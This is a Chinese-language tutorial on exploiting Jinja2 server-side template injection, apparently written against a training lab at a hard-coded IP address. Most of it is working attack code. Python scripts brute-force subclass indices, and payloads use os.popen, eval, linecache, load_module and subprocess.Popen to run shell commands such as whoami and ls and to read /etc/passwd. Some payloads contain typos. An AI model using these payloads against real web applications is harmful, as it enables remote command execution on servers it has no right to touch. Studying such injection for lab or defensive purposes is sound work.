python脚本(这里以重庆橙子科技jinjia2模板注入为例)
import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
except:
pass
使用hackbar测试一下
get_data是 FileLoader 对象的一个方法,用于获取指定文件的内容。
内建函数: python在执行脚本时自动加载的函数
python脚本查看可利用内建函数eval的模块(还是以jinjia2为例)
import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
data = {"name":
"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass
利用内建函数 eval() 和 popen() 执行系统命令
__builtins__: 提供对Python的所有“内置“标识符的直接访问。
eval(): 计算字符串表达式的值。
__import__: 加载 os 模块。
popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。
popen() 执行命令后没有直接回显,最后加个 read() 函数读取回显内容
在其他函数中直接调用os模块
通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
通过url for,调用os
{{url_for.__globals__.os.popen.('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
{{".__clases__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l/opt").read()}}
python脚本查找已经加载os模块的子类
import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
data = {"name":
"{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "os.py" in response.text:
print(i)
构造paylaod
name={{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['os'].popen("ls -l /opt").read()}}
可以加载第三方库,使用load module加载os
python脚本查找 frozen importlib.Builtinlmporter
import requests
url = ''
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "_frozen_importlib.BuiltinImporter" in response.text:
print(i)
name={{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
python脚本查找linecache
import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "linecache" in response.text:
print(i)
name={{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn*。—Python 文档
简单地说,这个模块也可以执行 shell 命令。
import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "subprocess.Popen" in response.text:
print(i)
name={{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
shell=True:这是一个参数,指示在执行命令时使用系统的命令解释器(如 /bin/sh 或 cmd.exe)。
stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到subprocess.PIPE,以便在后续步骤中获取输出。
.communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。
[0]:这是获取 .communicate() 返回的元组中的第一个元素,即子进程的标准输出。
.strip():这是一个字符串方法,用于去除字符串两端的空白字符。